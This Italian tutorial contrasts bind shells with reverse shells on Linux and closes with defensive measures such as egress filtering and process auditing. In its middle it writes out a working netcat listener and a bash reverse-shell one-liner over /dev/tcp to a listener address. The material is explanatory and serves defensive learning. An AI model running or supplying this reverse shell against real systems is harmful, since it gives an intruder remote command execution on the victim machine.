Nel mondo del penetration testing e dell'amministrazione remota di sistemi Linux, la reverse shell rappresenta un concetto fondamentale sia per attaccanti che per difensori che vogliono comprendere la sicurezza delle reti perimetrali.
Bind Shell vs. Reverse Shell: La Differenza Chiave
In una Bind Shell classica, il target apre una porta in ascolto e l'amministratore vi si connette. Tuttavia, quasi tutti i moderni router e firewall bloccano automaticamente le connessioni in entrata non richieste.
La Reverse Shell capovolge completamente questo paradigma: è la macchina bersaglio (target) che avvia una connessione in uscita verso la macchina dell'analista (listener). Poiché le policy di rete consentono quasi sempre il traffico in uscita (egress) su porte standard come 80, 443 o 53, la connessione attraversa il firewall senza ostacoli.
# 1. Sulla macchina in ascolto (Listener dell'analista):
nc -lvnp 4444
# 2. Sul target Linux (Reverse Shell in Bash standard):
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1Cosa Succede a Basso Livello?
Il comando ridireziona i tre file descriptor standard di Linux (stdin (0), stdout (1), stderr (2)) all'interno del socket TCP aperto verso l'indirizzo IP e la porta specificati. Da quel momento, ogni comando digitato nel listener viene interpretato ed eseguito dalla shell del target remoto.
Strategie di Monitoraggio e Contromisure Defensive
- Egress Filtering Rigoroso: Configurare i firewall interni per bloccare o ispezionare tutto il traffico in uscita che non sia strettamente necessario ai servizi operativi.
- EDR e Process Auditing: Monitorare la creazione di processi insoliti come istanze di
/bin/bashocmd.exegenerate da processi web server comewww-data,apache2onginx. - Network Behavior Analysis: Rilevare socket TCP aperti verso indirizzi esterni sospetti con traffico di comandi interattivi non cifrati.